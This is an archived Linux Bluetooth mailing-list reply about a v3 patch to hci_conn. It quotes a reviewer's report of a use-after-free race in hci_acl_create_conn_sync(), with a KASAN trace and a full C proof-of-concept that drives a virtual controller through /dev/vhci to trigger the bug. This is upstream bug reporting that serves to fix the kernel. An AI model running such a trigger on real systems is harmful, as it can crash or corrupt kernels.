Linux bluetooth development
 help / color / mirror / Atom feed
From: "Siwei Zhang" <oss@fourdim.xyz>
To: "XIAO WU" <xiaowu.417@qq.com>,
	"Luiz Augusto von Dentz" <luiz.dentz@gmail.com>
Cc: linux-bluetooth@vger.kernel.org
Subject: Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
Date: Mon, 15 Jun 2026 08:38:24 -0400	[thread overview]
Message-ID: <bed30255-ccf4-4f84-a19d-557bd8bdeeb0@app.fastmail.com> (raw)
In-Reply-To: <tencent_CB641244263894463F94A2B27D5E9BE43D07@qq.com>

Hi Xiao Wu,

On Sat, Jun 13, 2026, at 6:40 AM, XIAO WU wrote:
> Hi Siwei,
>
> On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
>  > Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
>
> This patch correctly fixes the NULL dereference in hci_abort_conn() by
> tracking in-flight create commands with HCI_CONN_CREATE.
>
> I noticed a Sashiko review[1] of this patch flagged that the new
> clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
> __hci_cmd_sync_status_sk() introduce a use-after-free.  I wrote a PoC
> to verify this and was able to trigger it reliably on a KASAN-enabled
> kernel.
>
> The race:
>
>    If the controller rejects the ACL connection attempt (e.g. via
>    Command Status with a non-zero status), the RX thread processes the
>    rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
>    hci_conn object.  Shortly after, __hci_cmd_sync_status_sk() returns
>    the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
>    worker, which then writes to the freed conn via clear_bit().
>
> My PoC opens /dev/vhci, creates a virtual controller that responds to
> HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
> controller, and triggers an L2CAP connect.  This reliably hits:
>
> ==================================================================
> BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
> Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
> Workqueue: hci0 hci_cmd_sync_work
>
> Call Trace:
>   <TASK>
>   dump_stack_lvl+0x116/0x1f0
>   print_report+0xf4/0x600
>   kasan_report+0xe0/0x110
>   kasan_check_range+0x100/0x1b0
>   hci_acl_create_conn_sync+0x3c6/0x600    <-- clear_bit on freed conn
>   hci_cmd_sync_work+0x1b0/0x480
>   process_one_work+0xa20/0x1c50
>   worker_thread+0x6df/0xf30
>   kthread+0x387/0x4a0
>
> Allocated by task 9349 (L2CAP connect):
>   __hci_conn_add+0xfd/0x1df0
>   hci_conn_add_unset+0x7b/0x130
>   hci_connect_acl+0x4aa/0x7c0
>   l2cap_chan_connect+0x779/0x2160
>   l2cap_sock_connect+0x381/0x7a0
>
> Freed by task 9353 (RX thread):
>   kfree+0x171/0x720
>   device_release+0xd7/0x280
>   hci_conn_del_sysfs+0x17b/0x1a0
>   hci_conn_del+0x685/0x11d0
>   hci_cs_create_conn+0x1e9/0x430     <-- controller rejection
>   hci_cmd_status_evt+0x267/0x790
>   hci_event_packet+0x521/0xce0
>   hci_rx_work+0x2ce/0x1030
> ==================================================================
>
> The race window:
>
>    hci_acl_create_conn_sync()           hci_rx_work()
>    ==========================           ==============
>    __hci_cmd_sync_status_sk(...)        hci_cs_create_conn()
>      → waiting for controller reply       → hci_conn_del()
>                                           → kfree(conn)
>    clear_bit(HCI_CONN_CREATE,
>      &conn->flags);  ← UAF
>
> The same pattern exists in hci_le_create_conn_sync().
>
> One possible fix: take a reference on conn before the cmd_sync call
> and drop it after clear_bit(), or move the clear_bit to a point where
> the conn is still guaranteed to be alive.  The Sashiko review[1]
> points out a few other issues in the same patch as well.
>
> I wrote the following PoC.  It opens /dev/vhci, emulates a controller
> that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
> connect to exercise the race.
>
> ---8<--- poc.c ---
> /*
>   * PoC for UAF in hci_acl_create_conn_sync()
>   *
>   * Opens /dev/vhci, creates a virtual HCI controller that responds to
>   * HCI_OP_CREATE_CONN with Command Status 0x2e 
> (HCI_ERROR_COMMAND_DISALLOWED).
>   * The RX thread processes this via hci_cs_create_conn() and frees the 
> conn,
>   * while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
>   *
>   * Build:  gcc -Wall -O2 -o poc poc.c -lpthread
>   * Run:    ./poc   (root, KASAN-enabled kernel, vhci loaded)
>   */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <sys/socket.h>
> #include <sys/poll.h>
> #include <pthread.h>
> #include <stdint.h>
>
> #define HCI_COMMAND_PKT 0x01
> #define HCI_EVENT_PKT    0x04
> #define HCI_VENDOR_PKT   0xff
> #define HCI_EV_CMD_COMPLETE 0x0e
> #define HCI_EV_CMD_STATUS   0x0f
> #define HCI_OP_CREATE_CONN  0x0405
> #define HCI_OP_RESET        0x0c03
> #define BTPROTO_L2CAP   0
> #define BTPROTO_HCI     1
> #define BDADDR_BREDR    0x00
> #define HCI_CHANNEL_CONTROL 3
>
> struct sockaddr_l2 {
>      uint16_t l2_family, l2_psm;
>      uint8_t  l2_bdaddr[6];
>      uint16_t l2_cid;
>      uint8_t  l2_bdaddr_type;
> } __attribute__((packed));
>
> struct sockaddr_hci {
>      uint16_t hci_family, hci_dev, hci_channel;
> };
>
> static volatile int vhci_fd = -1;
> static volatile int saw_conn = 0;
>
> static int send_evt(uint8_t e, const void *d, uint8_t dl)
> {
>      uint8_t b[512];
>      b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
>      if (dl && d) memcpy(b + 3, d, dl);
>      return write(vhci_fd, b, 3 + dl);
> }
>
> static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
> {
>      uint8_t b[8192];
>      struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
>      int r = poll(&pf, 1, tmo);
>      if (r <= 0) return -1;
>      r = read(vhci_fd, b, sizeof(b));
>      if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
>      *o = b[1] | (b[2] << 8); *pl = b[3];
>      if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
>      return 1;
> }
>
> static void send_ok(uint16_t o) { uint8_t r[1] = {0}; 
> send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
> static void send_cc(uint16_t o, const void *rd, uint8_t rl) { 
> send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
> static void send_cs(uint16_t o, uint8_t s) {
>      uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
>      send_evt(HCI_EV_CMD_STATUS, p, 4);
> }
>
> static void *init_thr(void *a)
> {
>      (void)a;
>      uint16_t o; uint8_t p[256]; int pl;
>      while (1) {
>          if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
>          if (o == HCI_OP_CREATE_CONN) {
>              /* Reject with Command Status error 0x2e */
>              send_cs(o, 0x2e);
>              saw_conn = 1;
>              continue;
>          }
>          if (o == HCI_OP_RESET) { send_ok(o); continue; }
>          /* ... handle many other HCI commands for init ... */
>          send_ok(o);
>      }
>      return 0;
> }
>
> struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
> #define MGMT_OP_SET_POWERED     0x0005
> #define MGMT_OP_SET_CONNECTABLE 0x000b
>
> int main(void)
> {
>      printf("[*] open vhci\n");
>      vhci_fd = open("/dev/vhci", O_RDWR);
>      if (vhci_fd < 0) { perror("vhci"); return 1; }
>      uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
>
>      printf("[*] start vhci init thread\n");
>      pthread_t t; pthread_create(&t, 0, init_thr, 0);
>      sleep(6);
>
>      /* Power on via MGMT */
>      int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
>      if (mgmt >= 0) {
>          struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff, 
> HCI_CHANNEL_CONTROL};
>          if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
>              uint8_t cmd[256];
>              struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
>              hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len 
> = 1;
>              cmd[sizeof(*hdr)] = 1;
>              write(mgmt, cmd, sizeof(*hdr) + 1);
>              usleep(200000);
>              hdr->opcode = MGMT_OP_SET_CONNECTABLE;
>              write(mgmt, cmd, sizeof(*hdr) + 1);
>              usleep(200000);
>          }
>          close(mgmt);
>      }
>
>      /* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
>      printf("[*] L2CAP connect (trigger)\n");
>      int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
>      if (l2 >= 0) {
>          struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
>          ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
>          bind(l2, (struct sockaddr *)&ba, sizeof(ba));
>          struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
>          ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
>          ca.l2_bdaddr_type = BDADDR_BREDR;
>          memset(ca.l2_bdaddr, 0x11, 6);
>          connect(l2, (struct sockaddr *)&ca, sizeof(ca));
>          close(l2);
>      }
>      usleep(500000);
>      pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
>      printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
>      return 0;
> }
> ---8<---
>
> Hope this helps with the patch.  Let me know if you need additional
> information from the test setup.
>
> [1] 
> https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz

Thanks for your review. I will send a new patch to fix this.
I would like to add a suggested by if i have your permission.

Best,
Siwei

  reply	other threads:[~2026-06-15 12:38 UTC|newest]

Thread overview: 10+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
2026-06-11 15:36 ` Luiz Augusto von Dentz
2026-06-11 15:51   ` Siwei Zhang
2026-06-11 16:07     ` Luiz Augusto von Dentz
2026-06-11 16:05 ` Pauli Virtanen
2026-06-11 19:20 ` [v3] " bluez.test.bot
2026-06-11 19:40   ` Luiz Augusto von Dentz
2026-06-13 10:40 ` [PATCH v3] " XIAO WU
2026-06-15 12:38   ` Siwei Zhang [this message]
2026-06-15 12:45     ` XIAO WU

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=bed30255-ccf4-4f84-a19d-557bd8bdeeb0@app.fastmail.com \
    --to=oss@fourdim.xyz \
    --cc=linux-bluetooth@vger.kernel.org \
    --cc=luiz.dentz@gmail.com \
    --cc=xiaowu.417@qq.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox